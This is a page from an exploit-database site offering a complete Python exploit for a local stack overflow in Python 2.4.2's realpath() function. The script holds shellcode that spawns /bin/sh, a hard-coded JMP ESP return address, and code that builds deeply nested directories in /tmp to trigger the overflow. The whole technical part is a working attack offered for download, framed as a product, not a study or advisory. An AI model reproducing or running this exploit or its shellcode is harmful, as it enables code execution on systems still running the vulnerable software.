0day.today - 世界最大的漏洞利用数据库。
![](/img/logo_green.jpg)
- 我们唯一的域名:http://0day.today
- 我们大多数的材料都完全免费
- 如果你想购买漏洞利用 / 获取V.I.P.权限 或者使用其他付费服务,
你需要购买或者赢取金币金币
本站管理员使用官方账号。请谨防诈骗!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
你可以由此方式联系我们:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Python <= 2.4.2 realpath() Local Stack Overflow Exploit
======================================================= Python <= 2.4.2 realpath() Local Stack Overflow Exploit ======================================================= #!/usr/bin/python # gexp-python.py # # Python <= 2.4.2 realpath() Local Stack Overflow # ----------------------------------------------- # Against VA Space Randomization. # # Copyright (c) 2006 Gotfault Security # # Bug found and developed by: dx/vaxen (Gotfault Security), # posidron (Tripbit Research Group). # Enviroment: # # Kernel Version : 2.6.12.5-vs2.0 # GCC Version : 4.0.3 # Libc Version : 2.3.5 # # Special greets goes to : posidron from tripbit.net # RFDSLabs, barros, izik, # Gotfault Security Community. # # Original Reference: # http://gotfault.net/research/exploit/gexp-python.py import os # JMP *%ESP @ linux-gate.so.1 jmp = "\x5f\xe7\xff\xff" shell = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e" shell += "\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3" shell += "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" shell += "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" os.chdir("/tmp") base = os.getcwd() dir = os.path.join("A"*250, "A"*250, "A"*250, "A"*250, "A"*42, jmp+shell) os.makedirs(dir) os.chdir(dir) os.system('> vuln.py; python vuln.py') os.remove("vuln.py") os.chdir(base) os.removedirs(dir) # 0day.today [2024-06-30] #